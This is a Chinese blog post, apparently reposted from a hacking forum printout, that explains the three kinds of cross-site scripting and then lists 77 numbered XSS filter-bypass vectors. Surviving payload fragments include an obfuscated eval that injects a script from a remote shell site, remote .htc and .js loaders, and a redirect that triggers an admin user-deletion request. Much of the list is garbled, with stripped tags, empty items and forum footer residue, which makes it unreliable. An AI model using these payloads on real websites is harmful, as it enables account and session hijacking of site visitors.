html双角引符编码,XSS攻击常识及常见的XSS攻击脚本汇总

一、什么是XSS?

XSS全称是Cross Site Scripting即跨站脚本，当目标网站目标用户浏览器渲染HTML文档的过程中，出现了不被预期的脚本指令并执行时，XSS就发生了。

二、XSS分类

XSS有三类：反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS

1、反射型XSS

发出请求时，XSS代码出现在URL中，作为输入提交到服务器端，服务器端解析后响应，XSS代码随响应内容一起传回给浏览器，最后浏览器解析执行XSS代码。这个过程像一次反射，故叫反射型XSS。

2、存储型XSS

存储型XSS和反射型XSS的差别仅在于，提交的代码会存储在服务器端(数据库，内存，文件系统等)，下次请求目标页面时不用再提交XSS代码

最典型的例子是留言板XSS，用户提交一条包含XSS代码的留言存储到数据库，目标用户查看留言板时，那些留言的内容会从数据库查询出来并显示，浏览器发现有XSS代码，就当做正常的HTML与Js解析执行，于是触发了XSS攻击。

3、DOM XSS

DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与，触发XSS靠的是浏览器端的DOM解析，完全是客户端的事情。

附常见的XSS攻击方法

(1)普通的XSS JavaScript注入

(2)IMG标签XSS使用JavaScript命令

(3)IMG标签无分号无引号

(4)IMG标签大小写不敏感

(5)HTML编码(必须有分号)

(6)修正缺陷IMG标签

alert("XSS")">

(7)formCharCode标签(计算器)

(8)UTF-8的Unicode编码(计算器)

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)

(10)十六进制编码也是没有分号(计算器)

(11)嵌入式标签,将Javascript分开

(12)嵌入式编码标签,将Javascript分开

(13)嵌入式换行符

(14)嵌入式回车

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

(16)解决限制字符(要求同页面)

z='document.'z=z+'write("'z=z+'z=z+'tp://ww'z=z+'w.shell'z=z+'.net/1.'z=z+'js>z=z+'ript>")'eval_r(z)

(17)空字符12-7-1 T00LS - Powered by Discuz! Board

https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "";' > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用

perl -e 'print "alert(\"XSS\")";' > out

(19)Spaces和meta前的IMG标签

(20)Non-alpha-non-digit XSS

(21)Non-alpha-non-digit XSS to 2

(22)Non-alpha-non-digit XSS to 3

(23)双开括号

(24)无结束脚本标记(仅火狐等浏览器)

(25)无结束脚本标记2

(26)半开的HTML/JavaScript XSS

(27)双开角括号

(28)无单引号 双引号 分号

a=/XSS/alert(a.source)

(29)换码过滤的JavaScript

\";alert('XSS');//

###(30)结束Title标签

alert("XSS");

(31)Input Image

(32)BODY Image

(33)BODY标签

(34)IMG Dynsrc

(35)IMG Lowsrc

(36)BGSOUND

(37)STYLE sheet

(38)远程样式表

(39)List-style-image(列表式)

• XSS

  (40)IMG VBscript

  • XSS

    (41)META链接url

    (42)Iframe

    (43)Frame

    12-7-1 T00LS - Powered by Discuz! Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6

    (44)Table

    (45)TD

    (46)DIV background-image

    (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)

    (48)DIV expression

    (49)STYLE属性分拆表达

    (50)匿名STYLE(组成:开角号和一个字母开头)

    (51)STYLE background-image

    (52)IMG STYLE方式

    exppression(alert("XSS"))'>

    (53)STYLE background

    (54)BASE

    (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS

    (56)在flash中使用ActionScrpt可以混进你XSS的代码

    a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);

    (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上

    <?import namespace="xss" implementation="http://3w.org/XSS/xss.htc">XSS

    (58)如果过滤了你的JS你可以在图片里添加JS代码来利用

    (59)IMG嵌入式命令,可执行任意命令

    

    (60)IMG嵌入式命令(a.jpg在同服务器)

    Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

    (61)绕符号过滤

    (62)

    (63)

    (64)

    (65)

    (66)12-7-1 T00LS - Powered by Discuz! Board

    https://www.a.com/viewthread.php?action=printable&tid=15267 4/6

    (67)

    document.write("PT SRC="http://3w.org/xss.js">

    (68)URL绕行

    XSS

    (69)URL编码

    XSS

    (70)IP十进制

    XSS

    (72)IP八进制

    XSS

    (74)节省[http:]

    XSS

    (75)节省[www]

    XSS

    (76)绝对点绝对DNS

    XSS

    (77)javascript链接

    XSS

    作者：睿睿熊

    转载链接：https://www.jianshu.com/p/36b3578a6629